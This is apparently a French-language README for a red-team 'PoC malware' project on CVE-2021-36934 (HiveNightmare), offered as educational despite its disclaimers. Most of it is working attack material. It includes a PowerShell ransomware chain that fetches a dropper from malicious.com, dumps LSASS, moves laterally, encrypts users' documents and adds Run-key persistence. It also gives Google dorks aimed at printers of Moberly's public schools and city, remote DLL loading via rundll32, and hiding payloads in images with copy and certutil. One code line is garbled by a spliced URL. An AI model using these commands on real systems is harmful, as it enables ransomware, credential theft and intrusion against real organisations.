
PoC malware qui utilise l'exploit CVE-2021-36934 (ACLs incorrectes sur les copies instantanées) en utilisant une méthode de red team sans fichier sur Windows 10/11 avec LOLBins, extrayant les ruches SYSTEM et SAM pour les hachages NTLM locaux.

CVE-2021-36934/HiveNightmare est un projet de recherche pédagogique Red/Purple Team qui simule un framework d'attaque sans fichier sous Windows 11. Il permet l'émulation de chaînes de destruction d'attaquants réels en utilisant les techniques MITRE ATT&CK, avec un accent sur les opérations furtives sans fichier.
Avertissement : Pour la recherche et la formation uniquement dans des laboratoires isolés. Ne pas utiliser sur des systèmes de production ou non autorisés.
La simulation PowerShell suivante montre une chaîne d'attaque ransomware sans fichier typique utilisant des outils Windows intégrés (LOLBins) :
# Initial Access: Load dropper
IEX(New-Object Net.WebClient).DownloadString("http://malicious.com/dropper.ps1")
# Execution: Decode and load in-memory payload
$bytes = [System.Convert]::FromBase64String("[Base64Payload]")
[System.Reflection.Assembly]:https://raw.githubusercontent.com/p1rat3r00t/why-so-serious-sam/main/:Load($bytes)
# Privilege Escalation
Start-Process powershell -Args "-ExecutionPolicy Bypass -File C:\Temp\elevate.ps1" -Verb RunAs
# Credential Access
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Temp\lsass.dmp full
# Lateral Movement
wmic /node:targetPC process call create "powershell.exe -File \\share\payload.ps1"
# File Encryption Example
$files = Get-ChildItem -Path "C:\Users\*\Documents" -Include *.docx,*.pdf -Recurse
foreach ($file in $files) {
$data = Get-Content $file.FullName -Raw
$aes = New-Object System.Security.Cryptography.AesManaged
$aes.Key = [Text.Encoding]::UTF8.GetBytes("RANDOM-GEN-KEY-1234567890123456")
$aes.IV = New-Object byte[] 16
$enc = $aes.CreateEncryptor().TransformFinalBlock([Text.Encoding]::UTF8.GetBytes($data), 0, $data.Length)
Set-Content -Path $file.FullName -Value ([Convert]::ToBase64String($enc))
}
# Persistence
Set-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "ransomware" -Value "powershell -File C:\Temp\persist.ps1"
Objectif exemple : Identifier les services d'imprimante exposés publiquement à Moberly, Missouri, potentiellement vulnérables à des exploits comme PrintNightmare.
Exemples de requêtes Google Dork :
inurl:"/hp/device/this.LCDispatcher" "Moberly"
intitle:"Printer Status" "Moberly Public Schools"
intitle:"Web Image Monitor" inurl:"/wim" "Moberly"
inurl:"/printer/main.html" "City of Moberly"
intitle:"Web Jetadmin" "Moberly"
inurl:"/printers/" "Moberly"
inurl:"/PPS/public/" "Moberly"
intitle:"Konica Minolta" inurl:"/wcd/" "Moberly"
intitle:"PaperCut MF" "Moberly"
intitle:"Lexmark" inurl:"/printer/" "Moberly"
intitle:"Canon Remote UI" "Moberly"
intitle:"EpsonNet Config" "Moberly"
Living Off the Land Binaries (LOLBins) sont des binaires Windows légitimes et de confiance, souvent abusés par les adversaires pour contourner les contrôles de sécurité et exécuter du code malveillant sans fichier.
Exemple d'utilisation (attaque sur service d'impression) :
rundll32.exe \\10.10.X.X\shared\payload.dll,ReflectEntry
Les attaquants utilisent des LOLBins comme
rundll32.exe,regsvr32.exeetpowershell.exepour exécuter des charges utiles à partir de partages réseau, souvent après avoir identifié des imprimantes ou serveurs exposés via une reconnaissance.
Objectif : Distribuer des charges utiles de manière furtive en intégrant des archives dans des images et en les extrayant à l'aide d'outils natifs.
Étapes :
Intégration de la charge utile :
copy /b nsfw.jpg + payload.7z nsfw.jpg
Extraction et décodage :
certutil -decode nsfw.jpg dropper.7z
7z x dropper.7z -oC:\Users\Public\
Cette méthode contourne le filtrage traditionnel par extension de fichier et exploite les outils intégrés pour une distribution évasive.
Technique : Charger et exécuter une DLL malveillante directement en mémoire à l'aide d'un chargement réfléchissant.
Exemple :
rundll32.exe \\10.10.X.X\share\nsfw.dll,ReflectEntry
Cela permet une exécution furtive en mémoire, sans laisser d'artefacts sur le disque.
Sysmon + règles Sigma :
rundll32.exe chargeant des DLL non systèmecertutil.exe, regsvr32.exe, mshta.exeExemples SIEM (ELK/Splunk) :
explorer.exe générant rundll32.exe)Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled
Tout le contenu, le code et les techniques de ce dépôt sont destinés uniquement à un usage éducatif et à des tests d'intrusion autorisés. N'utilisez aucune partie de ce projet en dehors d'environnements contrôlés et isolés, et sans autorisation explicite. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive.
Restez prudent, faites vos recherches de manière responsable, et utilisez toujours dans un cadre légal et éthique.
| Phase | Technique | ID | Description |
|---|
| Accès initial | Valid Accounts / Drive-by Compromise | T1078, T1189 | Compromission d'interfaces d'impression publiques |
| Exécution | DLL Side-Loading / LOLBins | T1218, T1055.001 | Exécution de DLL en mode réfléchissant via des binaires de confiance |
| Élévation de privilèges | Print Spooler Exploits / Hive ACL Abuse | T1068, T1003.002 | Accès SYSTEM et extraction de hachages SAM |
| Contournement de défense | Execution sans fichier / Fichiers obfusqués | T1027, T1202 | Charges utiles encodées distribuées via certutil, mshta, etc. |
| Accès aux identifiants | LSASS Dumping / SAM Hive Access | T1003 | Vidage d'identifiants après HiveNightmare |
| Mouvement latéral | SMB/Net Share Enumeration | T1021.002 | Propagation via les partages d'imprimante ou l'énumération du spouleur |
| Impact | Data Destruction / Encryption | T1485, T1486 | Wiperware sans fichier déclenché via des charges utiles DLL |